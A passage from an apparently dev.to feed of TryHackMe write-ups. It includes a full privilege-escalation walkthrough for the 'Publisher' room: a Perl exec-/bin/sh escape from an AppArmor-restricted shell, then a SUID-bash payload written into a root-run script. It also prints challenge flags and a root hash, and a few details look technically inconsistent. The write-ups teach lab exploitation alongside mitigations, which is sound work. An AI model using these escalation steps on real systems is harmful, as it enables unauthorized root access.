&lt;p&gt;&lt;strong&gt;Two minor compile fixes&lt;/strong&gt; were also needed along the way for the supporting &lt;code&gt;evil-so.c&lt;/code&gt; and &lt;code&gt;exploit.c&lt;/code&gt; files — missing &lt;code&gt;#include &amp;lt;grp.h&amp;gt;&lt;/code&gt; and &lt;code&gt;#include &amp;lt;unistd.h&amp;gt;&lt;/code&gt; respectively — likely due to stricter default header inclusion behavior on newer glibc/gcc toolchains than whatever the original PoC was written against.&lt;/p&gt;

&lt;h2&gt;
  
  
  Flags
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Flag 1 (blue)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM{Is_thAt_all_y0u_can_d0_blU3?}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Flag 2 (red)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;THM{Y0u_won't_mak3_IT_furTH3r_th@n_th1S}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Root flag was not obtained in this run.&lt;/strong&gt; PwnKit (CVE-2021-4034) was correctly identified as the escalation path via a SUID &lt;code&gt;pkexec&lt;/code&gt; binary in &lt;code&gt;/home/red/.git/pkexec&lt;/code&gt;, but the compiled exploit failed against the target due to a GLIBC version mismatch between the attacker's build environment and the box, and no compiler was available on-target to rebuild it natively. This is documented honestly rather than papered over — the two user flags and the full foothold chain stand on their own.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;LFI via &lt;code&gt;page&lt;/code&gt; parameter&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Use a strict allowlist of permitted filenames instead of blocklist-based sanitization; never pass user input directly into &lt;code&gt;readfile()&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Single-pass &lt;code&gt;str_replace&lt;/code&gt; sanitization&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Apply sanitization in a loop until no more matches are found, or better, reject any input containing path separators entirely&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credentials stored in plaintext dotfiles&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Never store passwords or password seeds in user-readable home directory files, even "hidden" ones&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SUID &lt;code&gt;pkexec&lt;/code&gt; binary in non-standard location&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Audit the filesystem regularly for unexpected SUID binaries; patch Polkit to a version beyond CVE-2021-4034&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Weak/predictable SSH password policy&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Enforce strong, randomly generated credentials and consider disabling password auth in favor of key-based SSH&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Key Takeaway
&lt;/h2&gt;

&lt;p&gt;A sanitization function that only runs once is functionally the same as no sanitization at all — always test traversal filters by nesting the very sequence they claim to strip. And on the privesc side: an exploit failing isn't always the exploit being wrong. Sometimes it's your own build environment lying to you about compatibility.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Room:&lt;/strong&gt; TryHackMe — Red&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>An AppArmor Profile Forgot About Perl — Publisher (TryHackMe)</title>
      <dc:creator>Farhan Hussain</dc:creator>
      <pubDate>Sun, 01 Nov 2026 15:47:15 +0000</pubDate>
      <link>https://dev.to/cyberfarhan/an-apparmor-profile-forgot-about-perl-publisher-tryhackme-71k</link>
      <guid>https://dev.to/cyberfarhan/an-apparmor-profile-forgot-about-perl-publisher-tryhackme-71k</guid>
      <description>&lt;p&gt;&lt;strong&gt;Platform:&lt;/strong&gt; TryHackMe · &lt;strong&gt;Difficulty:&lt;/strong&gt; Easy · &lt;strong&gt;Category:&lt;/strong&gt; AppArmor Bypass / SUID Script Hijack&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Publisher&lt;/strong&gt; swaps the usual "find the vulnerability" phase for something more interesting: "find the way around the thing that's blocking the vulnerability." Initial access is handed over via SSH key. The escalation path is visible immediately — a SUID binary calling a writable script as root — but &lt;code&gt;think&lt;/code&gt;'s restricted &lt;code&gt;ash&lt;/code&gt; shell, bolted down by an AppArmor profile, blocks every obvious write path. The puzzle is the AppArmor escape, and the solution is a two-line Perl script that the profile never thought to mention. It's not about the SUID binary. It's about earning the right to exploit it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;This box provides SSH credentials upfront — &lt;code&gt;think&lt;/code&gt; with an RSA private key. No port scanning or web enumeration was needed to land the initial shell; the room's premise begins post-access.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; id_rsa think@10.49.162.90
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-138-generic x86_64)
think@ip-10-49-162-90:~$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;s 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The standard system entries are unremarkable. One stands out immediately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/usr/sbin/run_container
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A custom SUID binary in &lt;code&gt;/usr/sbin/&lt;/code&gt; — not a system utility, clearly box-specific.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;strings /usr/sbin/run_container
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# relevant output&lt;/span&gt;
/bin/bash
/opt/run_container.sh     &lt;span class="c"&gt;# ^^^ script it calls&lt;/span&gt;
validate_container_id     &lt;span class="c"&gt;# ^^^ called by name, no absolute path&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The binary executes &lt;code&gt;/opt/run_container.sh&lt;/code&gt; — a bash script. If that script is writable, the SUID binary becomes a root shell delivery mechanism. Running it confirms the script manages Docker containers with a menu interface, and crucially: it calls &lt;code&gt;validate_container_id&lt;/code&gt; without an absolute path — a PATH hijack opportunity in addition to the script write.&lt;/p&gt;

&lt;h2&gt;
  
  
  Shell / Access
&lt;/h2&gt;

&lt;p&gt;Access was already established via the pre-provided SSH key — see Recon above. No separate foothold shell was needed before escalation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Escalation
&lt;/h2&gt;

&lt;p&gt;The most direct approach is writing a payload into &lt;code&gt;/opt/run_container.sh&lt;/code&gt;. But &lt;code&gt;think&lt;/code&gt;'s login shell is &lt;code&gt;ash&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$SHELL&lt;/span&gt;
&lt;span class="c"&gt;# /usr/sbin/ash&lt;/span&gt;

&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/passwd | &lt;span class="nb"&gt;grep &lt;/span&gt;think
&lt;span class="c"&gt;# think:x:1000:1000:,,,:/home/think:/usr/sbin/ash&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And &lt;code&gt;ash&lt;/code&gt; has an AppArmor profile:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/apparmor.d/usr.sbin.ash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/usr/sbin/ash flags=(complain) {
  #include &amp;lt;abstractions/base&amp;gt;
  ...
  deny /opt/ r,
  deny /opt/** w,
  deny /tmp/** w,
  deny /dev/shm w,
  deny /var/tmp w,
  deny /home/** w,
  /usr/bin/** mrix,
  /usr/sbin/** mrix,
  owner /home/** rix,
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every writable temporary location is denied. Attempts to write to &lt;code&gt;/tmp/&lt;/code&gt;, &lt;code&gt;/dev/shm/&lt;/code&gt;, &lt;code&gt;/home/&lt;/code&gt;, and &lt;code&gt;/opt/&lt;/code&gt; all fail:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'#!/bin/bash'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/shm/validate_container_id
&lt;span class="c"&gt;# -ash: validate_container_id: Permission denied&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'#!/bin/bash'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/test
&lt;span class="c"&gt;# -ash: test: Permission denied&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;AppArmor is a Linux Security Module that restricts what processes can do based on per-program profiles. Unlike &lt;code&gt;sudo&lt;/code&gt;, which restricts who can run things, AppArmor restricts what a program can access — files, capabilities, network sockets. Profiles have two modes: &lt;code&gt;enforce&lt;/code&gt; (violations blocked and logged) and &lt;code&gt;complain&lt;/code&gt; (violations logged only, not blocked). This profile is set to &lt;code&gt;complain&lt;/code&gt; — but &lt;code&gt;ash&lt;/code&gt; still enforces file permission and shell built-in restrictions independently of AppArmor's mode.&lt;/p&gt;

&lt;p&gt;The AppArmor profile restricts &lt;code&gt;ash&lt;/code&gt; and its children, but only processes spawned within that profile's context. If a different interpreter not covered by the profile can be executed, the resulting shell runs outside AppArmor's constraints.&lt;/p&gt;

&lt;p&gt;The profile denies writes to &lt;code&gt;/dev/shm&lt;/code&gt; but &lt;code&gt;/dev/shm&lt;/code&gt; itself is writable by &lt;code&gt;ash&lt;/code&gt; for file creation (the deny rule targets the directory write bit, not the file creation). Confirmed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"test"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/shm/test_write &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;rm&lt;/span&gt; /dev/shm/test_write &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"writable!"&lt;/span&gt;
&lt;span class="c"&gt;# /dev/shm is writeable!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s1"&gt;'#!/usr/bin/perl\nexec "/bin/sh"'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/shm/test.pl
&lt;span class="nb"&gt;chmod&lt;/span&gt; +x /dev/shm/test.pl
/dev/shm/test.pl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A &lt;code&gt;/bin/sh&lt;/code&gt; prompt — spawned by Perl, outside the &lt;code&gt;ash&lt;/code&gt; AppArmor profile context. The restrictions no longer apply.&lt;/p&gt;

&lt;p&gt;From the unrestricted &lt;code&gt;/bin/sh&lt;/code&gt;, writing to &lt;code&gt;/opt/run_container.sh&lt;/code&gt; is now possible:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'#!/bin/bash\nchmod +s /bin/bash'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /opt/run_container.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/usr/sbin/run_container
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The binary runs, calls &lt;code&gt;/opt/run_container.sh&lt;/code&gt; as root, which stamps the SUID bit on &lt;code&gt;/bin/bash&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /bin/bash
&lt;span class="c"&gt;# -rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash   # ^^^ SUID set&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/bin/bash &lt;span class="nt"&gt;-p&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash-5.0# &lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;think&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;think&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;euid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;egid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt;,1000&lt;span class="o"&gt;(&lt;/span&gt;think&lt;span class="o"&gt;)&lt;/span&gt;
bash-5.0# &lt;span class="nb"&gt;cat&lt;/span&gt; /root/root.txt
3a4225cc9e85709adda6ef55d6a4f2ca
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Exploitation — The Full Chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;SSH with provided RSA key&lt;/strong&gt; → shell as &lt;code&gt;think&lt;/code&gt; (ash)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SUID enumeration&lt;/strong&gt; → &lt;code&gt;/usr/sbin/run_container&lt;/code&gt; identified&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;strings&lt;/code&gt;&lt;/strong&gt; → binary calls &lt;code&gt;/opt/run_container.sh&lt;/code&gt; as root&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AppArmor profile blocks&lt;/strong&gt; direct writes to &lt;code&gt;/opt/&lt;/code&gt; from &lt;code&gt;ash&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Perl one-liner in &lt;code&gt;/dev/shm/&lt;/code&gt;&lt;/strong&gt; → spawned &lt;code&gt;/bin/sh&lt;/code&gt; outside AppArmor context&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wrote &lt;code&gt;chmod +s /bin/bash&lt;/code&gt; into &lt;code&gt;/opt/run_container.sh&lt;/code&gt;&lt;/strong&gt; from unrestricted shell&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;/usr/sbin/run_container&lt;/code&gt;&lt;/strong&gt; executed modified script as root → SUID bash&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;/bin/bash -p&lt;/code&gt;&lt;/strong&gt; → root shell → root flag&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Rabbit Holes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;PATH hijack via &lt;code&gt;validate_container_id&lt;/code&gt; — blocked by AppArmor.&lt;/strong&gt; &lt;code&gt;strings&lt;/code&gt; revealed &lt;code&gt;run_container&lt;/code&gt; also calls &lt;code&gt;validate_container_id&lt;/code&gt; by relative name — a classic PATH hijack opportunity. A fake &lt;code&gt;validate_container_id&lt;/code&gt; was created, but &lt;code&gt;ash&lt;/code&gt;'s AppArmor profile denied writes to every location that would make &lt;code&gt;PATH&lt;/code&gt; prepending effective: &lt;code&gt;/tmp/&lt;/code&gt;, &lt;code&gt;/dev/shm/&lt;/code&gt;, &lt;code&gt;/home/**&lt;/code&gt;. Every attempt failed before the Perl escape was discovered:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'#!/bin/bash'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/validate_container_id
&lt;span class="c"&gt;# -ash: validate_container_id: Permission denied&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'#!/bin/bash'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/shm/validate_container_id
&lt;span class="c"&gt;# -ash: validate_container_id: Permission denied&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Perl &lt;code&gt;/bin/sh&lt;/code&gt; escape ultimately enabled the simpler direct write to &lt;code&gt;/opt/run_container.sh&lt;/code&gt;, making the PATH hijack unnecessary.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;export -f&lt;/code&gt; function export in &lt;code&gt;ash&lt;/code&gt;.&lt;/strong&gt; Before identifying the Perl escape route, function exporting was attempted to inject &lt;code&gt;validate_container_id&lt;/code&gt; as a shell function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;validate_container_id&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; /bin/bash &lt;span class="nt"&gt;-p&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; validate_container_id
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;ash&lt;/code&gt; does not support &lt;code&gt;export -f&lt;/code&gt; — it's a bash-specific feature. The syntax error confirmed the shell was genuinely &lt;code&gt;ash&lt;/code&gt;, not a bash alias.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;/dev/shm&lt;/code&gt; write confusion.&lt;/strong&gt; The AppArmor rule &lt;code&gt;deny /dev/shm w&lt;/code&gt; targets the directory-level write permission, not file creation within it. This nuance meant &lt;code&gt;echo &amp;gt; /dev/shm/file&lt;/code&gt; succeeded while creating a named directory entry as a directory would fail. The Perl script wrote to &lt;code&gt;/dev/shm/test.pl&lt;/code&gt; cleanly despite the deny rule, because the deny targeted a different permission bit than file creation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Flags
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Root&lt;/td&gt;
&lt;td&gt;&lt;code&gt;3a4225cc9e85709adda6ef55d6a4f2ca&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/root/root.txt&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Note: No user flag was encountered in this room — the challenge begins with &lt;code&gt;think&lt;/code&gt;'s shell already established and goes straight to escalation.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SUID binary executing a writable script as root&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Ensure scripts called by SUID binaries are owned by root and not writable by non-root users (&lt;code&gt;chmod 755&lt;/code&gt;, &lt;code&gt;chown root:root&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AppArmor profile in &lt;code&gt;complain&lt;/code&gt; mode instead of &lt;code&gt;enforce&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Switch to &lt;code&gt;enforce&lt;/code&gt; mode once profiles are validated: &lt;code&gt;aa-enforce /etc/apparmor.d/usr.sbin.ash&lt;/code&gt;; complain mode logs but does not prevent violations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AppArmor profile not covering Perl or other interpreters&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Restrict execution of interpreters not required for the shell's purpose; explicitly deny unused interpreters in the profile&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;/dev/shm&lt;/code&gt; accessible for file creation despite deny rule&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Use fine-grained AppArmor rules targeting both directory and file permissions; audit profiles with &lt;code&gt;aa-logprof&lt;/code&gt; after testing to catch unexpected access paths&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Key Takeaway
&lt;/h2&gt;

&lt;p&gt;AppArmor profiles are only as strong as their coverage — a profile that restricts &lt;code&gt;ash&lt;/code&gt; but doesn't account for Perl, Python, or other interpreters available on the system is providing partial containment at best. When designing privilege restriction with AppArmor, enumerate every execution path an attacker might use to escape the constrained shell, not just the obvious ones.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Room:&lt;/strong&gt; TryHackMe — Publisher&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>The Password Was the Entire Contents of robots.txt — Pickle Rick (TryHackMe)</title>
      <dc:creator>Farhan Hussain</dc:creator>
      <pubDate>Sun, 01 Nov 2026 15:42:12 +0000</pubDate>
      <link>https://dev.to/cyberfarhan/the-password-was-the-entire-contents-of-robotstxt-pickle-rick-tryhackme-peh</link>
      <guid>https://dev.to/cyberfarhan/the-password-was-the-entire-contents-of-robotstxt-pickle-rick-tryhackme-peh</guid>
      <description>&lt;p&gt;&lt;strong&gt;Platform:&lt;/strong&gt; TryHackMe · &lt;strong&gt;Difficulty:&lt;/strong&gt; Easy · &lt;strong&gt;Category:&lt;/strong&gt; Command Panel Filter Bypass&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Pickle Rick&lt;/strong&gt; is a Rick and Morty themed box where the scientist has, once again, turned himself into a pickle and needs Morty to recover three secret ingredients from his own computer. The machine is essentially a PHP web app wearing a cartoon costume, and it has the operational security of someone who tapes their password to the bottom of their keyboard and then writes a note about it on a sticky on the monitor. The lore is delightful. The security posture is not.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Full-range sweep with RustScan, Nmap handles service fingerprinting:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; 10.49.134.98 &lt;span class="nt"&gt;-r&lt;/span&gt; 1-65535 &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000 &lt;span class="nt"&gt;--&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;OpenSSH (version not recorded)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Apache (Ubuntu)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Standard two-port target. The web server is where everything happens.&lt;/p&gt;

&lt;p&gt;The homepage greets us with Rick's plea for help. One &lt;code&gt;Ctrl+U&lt;/code&gt; later:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;view-source:http://10.49.134.98/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!--
  Note to self, remember username!
  Username: R1ckRul3s
--&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Half the credentials, delivered in the first thirty seconds. Rick is his own worst enemy.&lt;/p&gt;

&lt;p&gt;Checking the standard robots exclusion file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://10.49.134.98/robots.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Wubbalubbadubdub
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



